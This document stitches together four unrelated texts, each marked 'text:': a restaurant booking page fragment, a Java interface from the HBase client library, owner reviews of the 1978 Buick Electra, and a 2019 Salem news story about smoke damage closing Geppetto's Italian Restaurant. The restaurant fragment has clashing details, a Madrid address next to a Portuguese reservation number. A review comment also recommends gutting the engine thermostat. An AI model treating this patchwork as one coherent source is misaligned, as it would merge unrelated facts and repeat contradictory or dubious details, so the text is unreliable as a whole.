See the menu RIB See the menu RIB See the Cocktail menu RIB
Calle Imperial 8 , 28012 Madrid, Spain Get Directions
Calle Imperial 8 , 28012 Madrid, Spain Get Directions Phone 0034910052822 Reservations Phone +351 218 442 001 Do you need help? Contact Us
We guarantee the best
available rate!
If you find any lower price, we will not only match it, but
also offer you 5% off that price!


text:
package org.apache.hadoop.hbase.client;

import java.io.IOException;

import org.apache.hadoop.hbase.TableName;
import org.apache.hadoop.hbase.HRegionLocation;

/**
 * Cluster registry.
 * Implemenations hold cluster information such as this cluster's id, location of hbase:meta, etc.
 */
interface Registry {
  /**
   * @param connection
   */
  void init(HConnection connection);

  /**
   * @return Meta region location
   * @throws IOException
   */
  HRegionLocation getMetaRegionLocation() throws IOException;

  /**
   * @return Cluster id.
   */
  String getClusterId();

  /**
   * @param enabled Return true if table is enabled
   * @throws IOException
   */
  boolean isTableOnlineState(TableName tableName, boolean enabled) throws IOException;

  /**
   * @return Count of 'running' regionservers
   * @throws IOException
   */
  int getCurrentNrHRS() throws IOException;
}


text:
1978 Buick Electra Reviews from North America
Home > Reviews by Region > North America > Buick > Electra > 1978
1978 Buick Electra Limited Sedan 6.6 (403) V8
In the last 32 years I've owned the car, the following is what I recall (though there may be more I'm forgetting):
Alternator (May 1986, August 1993, May 2000).
Electric choke repair (January 1987).
A/C compressor clutch (May 1995).
A/C recharge and reconversion to R-134A (May 1995).
Valve cover gaskets (May 1998).
Interior light bulbs -- dome, speedometer, gear selector, fuel gauge (December 2017).
Left rear passenger door lock actuator (June 2008).
Muffler (November 1988, February 1994, June 2010).
Shocks (October 1997 and May 2016).
Tie rod ends (most recently, September 2016, but have replaced in the past... can't remember exact dates).
Transmission pan gasket (July 2017).
Clock (December 2017)... it actually broke nearly a year ago, but spent 11 months searching high and low for a flawless OEM replacement at a reasonable price. Only just found it.
Plug, wires, tune up (every few years).
Brakes (every few years).
Belts (every few years).
Batteries (about every 6 or 7 years).
Tires (approximately every five years, sometimes longer).
Light bulbs (all around, at one point in time or another).
A few overheating issues from time to time over the years, mostly in the 80s and 90s before lifetime coolants came into existence, but the dealer assured me this was a common problem with the 403 V8.
...basically, just regular maintenance. No major mechanical breakdowns (yet)...
A bit of history on this one... I bought the car from my aunt in April 1985 when I was in high school. She bought it brand new in late 1977 for $9500 from a Buick dealer in New York City that is still in existence today (I know because I still service it here myself). I was nine when she bought it, and now I'm 49, so I guess I've known this car nearly all my life.
It has all of the original literature, including the factory window sticker, build sheet and the 1978 dealer brochure. It also has the original keys and keychains (nothing copied; nothing aftermarket). I pride myself in having kept the car factory original and in mostly good shape. Nothing has been touched, removed or added, and it still has the old-fashioned AM/FM dial radio. For whatever reason, it wasn't ordered with the 8-track -- I guess I was cheated out of a true 70s experience.
The car is loaded, but I wouldn't say fully loaded. It has split bench, power seats, automatic climate control adjustable by a numbered dial, which is very old school, power windows, power locks, delay wipers, a large dial clock, which I love, power steering, power brakes, map lights, upgraded suspension, upgraded speakers and a power antenna. What it didn't come with, yet I'd have expected, is a rear defroster, seat recliners, and at minimum, an 8 track tape player to go with the upgraded stereo system. The option packages for this car were admittedly odd and random.
I'd argue it's in remarkable shape for a car that's 40 calendar years old, and while the tan velour interior is excellent from top to bottom, the paint job is dull and wearing thin. It has no rust at all, but I still I plan to respray/refresh the factory tan/cream beige exterior in the spring when the weather clears up.
I've truly had no real trouble with it. Maybe twice it left me stranded somewhere, once with an alternator issue when I was off on a trip somewhere and couldn't get to a mechanic in time; the other time was somewhere in the 80s in the dead of winter when my electric choke stopped working and the car just wouldn't start without shoving a pencil down inside the carburetor. Outside of these times, nothing significant that I can recall, though in 32 years, I've always (repeat, always) serviced it regularly; thus, my dealer catches nearly everything before anything has a chance to become a problem. In terms of service, oil changes and basic roadworthiness inspections every three months or 3,000 miles are what I do.
This car is still my daily driver, though admittedly I don't have to travel far and have, on average, put less than 10,000 miles/year on it. I no longer take it on significantly long road trips (never anything more than 1,000 miles round trip), but in the 80s and 90s I drove it annually from New York to Florida in the Winters and New York to California and back in the summers. I'd probably still do it today, but the cost of gas is substantially different now. It did its job, so I'm fine with keeping it as an around town car for the time being. On that note, I don't think you could ever find a better, more comfortable, quiet cruiser. The seats are soft, the suspension is floaty (which I love), yet it handles well. I love the size of the trunk, the leg room front and back is unparalleled. This was, and still is, great for loading up on long trips to the beach, or packing up to haul things around at Christmas. I'm also a big fan of the long hood as I think it not only looks elegant, but makes me feel safe.
The reliability is bar none, and I love the fact that it is a guaranteed runner that starts and performs each and every time. Admittedly though, I'm starting to find myself a bit nervous and worried as the car has reached 40 years of service and is pushing close to 300,000 miles. I'm paranoid at some point soon that something major is going to give out and I'll be stranded somewhere. The only problem I really seem to have now, and it's more of a nuisance than a problem, is that while the car can start and run just fine in brutal cold, or searing summer heat, with nothing more than one pump of the pedal and quick flick of the key, getting it restarted after it's been running off and on all day long is a challenge. Sitting overnight, the car starts immediately the next day with no effort at all. Running around town doing errands, I'll go to turn the key and it'll crank and crank like crazy, and at high speed, but doesn't seem to "catch" or run on its own unless I pump a few more times. This usually ends up flooding it. I've taken it to the dealer over and over in the past year and they've assured me there's nothing wrong (though I'm sure something is because this is a fairly new issue).
The car performs really well and has no misses or hesitation. It idles very smoothly and quietly. It's incredibly powerful, too; however, I don't think powerful necessarily equals fast. What it lacks in horsepower, it makes up for in torque. As such, I know I could yank out tree stumps with it if I wanted to, or lay tire tracks like nothing, but put me up against a lighter, more modern car in a race with higher horsepower or even the same horsepower (which I think is only 185), and I'd probably have to bury the pedal to the floor to keep up -- I could, indeed, but it wouldn't be easy as what my competition could do at half throttle, I could only do at full throttle. With that said, I believe the car was very fast for its day. I "think" I get from 0-60 in about nine seconds, which isn't horrible, but again, is less than a modern, light-weight, four cylinder economy car. I do know this -- in the 80s I could easily whoop a Camaro, Trans Am, Mustang, or even other large cars from Lincoln and Chrysler because engines back then were relatively gutless by nature, but my 403 was genuinely ahead of the pack. Not the case today, obviously, but 30 years or so ago, absolutely. I find the transmission is silky smooth. Shifts are imperceptible. I actually really like that it only has three gears, because there's hardly any shifting taking place and acceleration at any speed requires nothing of me and little of the car itself.
What's it like to drive an antique car as a daily driver? Meh... has its moments, but usually it's tiring as almost anywhere I go I have people stopping me to comment on it, ask questions, tell me stories about when they owned one just like it 40 years, ago, etc. And then, of course, I have people who look at me and probably pity me for driving an old, antiquated car, thinking I can't afford newer or better. This isn't the case, but I can see why people might think this. My family is extremely embarrassed by it. They weren't back in the day, but now they are. Most of my relatives laugh, make jokes, and won't even ride in it because it looks so incredibly old. In fact, even the aunt I bought it from who is now in her 70s and drives a sporty looking Lacrosse, just recently said she's appalled I still own it (who'd have thought she'd have said that?) and wouldn't be caught dead in it today LOL. The fact of the matter is, however, that none of this bothers me in the least. As I said, I've known the car nearly all my life, I've loved it from day one, I have no interest whatsoever in a new car, or an import, and even though few others I know think it's a classy car, I certainly do.
I do get asked pretty regularly if I'll sell it. The honest answer is "no, not at this time," but in a year, five years, ten years, possibly, yes. I know someday it's inevitable. I may just feel the time is right to move on, or maybe it'll stop working, or need a major repair that I won't want to make. Either way, someday I'll sell, but not today.
Engine and transmission 6.6 (403) V8 Automatic
Dealer Service marks 10 / 10
Distance when acquired 60000 miles
Most recent distance 287200 miles
Previous car Pontiac Firebird
Review Date: 21st December, 2017
21st Dec 2017, 21:40
Great review on a great car. Yes the Olds 403 did have hot coolant temps from time to time due to the cylinder bore being larger. A quick remedy for this is to take the guts out of the thermostat or change the radiator to a three core.
My grandmother gave my a 1966 dark blue Ambassador Station Wagon back in 1972. Always garaged and well maintained when she had it. I was embarrassed to drive it to school. Never had one issue and it was a V8. Funny thing is now I would like to have that wagon today. I like station wagons more today and was very thoughtful of her. Enjoy your car, it's family history. Pretty cool story.
1978 Buick Electra Limited 4-Door Sedan 5.7L V8
Few unexpected things:
Cat converter burned through the previously rotted passenger floor last year (water leaks from a windshield defect).
Old wires in the trunk for gauges rotted -- been replaced.
Cannot receive an alignment due to old, wearing parts that would cost nearly $1,000 to replace.
Blower motor replaced at 84,000.
Alternator replaced at 77,000.
The car was garaged in Florida for twenty years and was rarely driven (hence its mileage).
These old GM Boats are incomparable to cars made after the '80s. Car handles very well for its size.
It provides an extreme amount of comfort. The backseat can fit my entire drum set and then some. Rides like no other.
The huge 5.7L V8 will blow off 90% of cars on the road when the light turns green. Thing looks like a slow tank, but whips like a race car when you put your foot down (despite its limited speed potential). If you own one, put in 93 octane-- it'll be worth the ride!
Huge size, very, very spacious interior. The Electra is stylish, reliable, and has great pickup for a large luxury car.
Engine and transmission 5.7L V8 Automatic
Review Date: 25th June, 2006
View all Buick Electra ReviewsWrite a Review


text:
Fire forces Geppetto's Italian Restaurant to close temporarily
The restaurant wasn't impacted with water damage, as other neighboring businesses were, but with smoke and soot damage.
Fire forces Geppetto's Italian Restaurant to close temporarily The restaurant wasn't impacted with water damage, as other neighboring businesses were, but with smoke and soot damage. Check out this story on statesmanjournal.com: https://www.statesmanjournal.com/story/news/2019/03/18/geppettos-italian-restaurant-closed-temporarily-fire-smoke-damage/3207788002/
Emily Teel, Salem Statesman Journal Published 7:52 p.m. PT March 18, 2019 | Updated 11:35 a.m. PT March 19, 2019
A fire at Mattress World Northwest at 618 Lancaster Dr. NE on Saturday, March 16 resulted in no injuries, but it has necessitated the temporary closure of a longstanding Salem restaurant.
Geppetto's Italian Restaurant has been open since 1974 at 616 Lancaster Dr. NE. Current owners Julie and Roger Hoy, who bought the restaurant from Roger Hoy's brother in June 2017, said the restaurant wasn't impacted with water damage, as other neighboring businesses were, but with smoke and soot damage.
Julie Hoy said they were forced to dispose of all of the food that was in the building when the fire occurred, as well as "anything porous" in the dining room including the carpet and wallpaper
Reached by phone on Monday, March 18, Hoy said that they're still waiting to find out what will be covered by their insurance policy, but they and some of their longtime staff have begun working on clean-up themselves. They hope to reopen as soon as possible.
Pizza from Geppetto's Restaurant and Bar. (Photo: Statesman Journal file)
"We want our people back to work," said Hoy, "it's a really unique and wonderful place."
They encourage fans to follow the restaurant on Facebook and Instagram for updates.
Emily Teel is the Food & Drink Editor at the Statesman Journal. Contact her at eteel@statesmanjournal.com, or via Facebook or Twitter. See what she's cooking and where she's eating this week on Instagram: @emily_teel
More dining news:
Salem food truck owner to launch a mobile mimosa bar this spring
Shotskis changes hands again, previous owner sued for $150,000
Bountiful Pies, a new West Salem bakery for pie and quiche, opens on Pi Day
Read or Share this story: https://www.statesmanjournal.com/story/news/2019/03/18/geppettos-italian-restaurant-closed-temporarily-fire-smoke-damage/3207788002/